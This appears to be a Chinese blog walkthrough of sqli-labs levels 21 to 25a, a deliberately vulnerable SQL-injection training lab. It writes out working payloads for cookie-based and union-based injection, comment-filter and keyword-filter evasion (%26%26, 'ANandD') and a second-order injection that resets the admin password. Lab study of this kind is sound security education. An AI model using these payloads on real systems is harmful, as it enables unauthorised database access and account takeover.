sql-labs(21-25)

发布于:2024-12-18 ⋅ 阅读:(16) ⋅ 点赞:(0)

第21关

第一步

可以发现cookie是经过64位加密的

我们试试在这里注入

选择给他编码

发现可以成功注入

爆出表名

爆出字段

爆出数据

第22关

跟二十一关一模一样

闭合换成"

第 23 关

第二十三关重新回到get请求,会发现输入单引号报错,但是注释符不管用。猜测注释符被过滤,看来源码果然被注释了

所以我们可以用单引号闭合,发现成功。之后可以使用联合注入。不过在判断列数时候不能使用order by 去判断需要用?id=-1' union select 1,2,3,4通过不停加数字判断最后根据页面显示是三列,且显示位是2号。

可以看到这里没有办法将报错内容注释掉

查看源码后发现#--注释符都被过滤掉了,现在无法使用注释来实现注入了,但是我们还是可以利用 1=1 这样子的一个表达式来进行注入

?id=-1' union select 1,database(),3 and '1' = '1
id=-1' union select 1,database(),3 or '1' = '1

可以看到这样也可以成功的注入出数据库的名称

第 24 关

这一关我们需要利用二次注入

我们看到我们可以注册新用户

这时我们弹回登录页面就是注册成功了

然后登录进去,有个重置密码:

输入当前密码123,新密码111,然后点Reset

然后我们用新密码登录试试

发现修改后的密码111没法登录admin'#账号,还得用原来密码登录

用新密码111登录admin账号试试

发现可以登陆成功,我们刚才改的用该是admin的密码

第 25 关

估计过滤了or和and,试了试,果然如此

大小写绕过也没啥用

?id=1' AnD extractvalue(1,concat(0x7e,(select database())))--+

用可以变形

?id=1' %26%26 extractvalue(1,concat(0x7e,(select database())))--+

%26%26是url编码,是&&的意思

用嵌套也可以(双写绕过),应该是一次过滤

?id=1' ANandD extractvalue(1,concat(0x7e,(select database())))--+

第 25-a 关

?id=1--+

这题是整数型注入,不用闭合,过滤和上题相同。

报错注入不好使了,有报错但是报错是固定的,告诉你错了但是不告诉你具体哪里错了。

?id=1 ANandD extractvalue(1,concat(0x7e,(select database())))--+


网站公告

今日签到

点亮在社区的每一天
去签到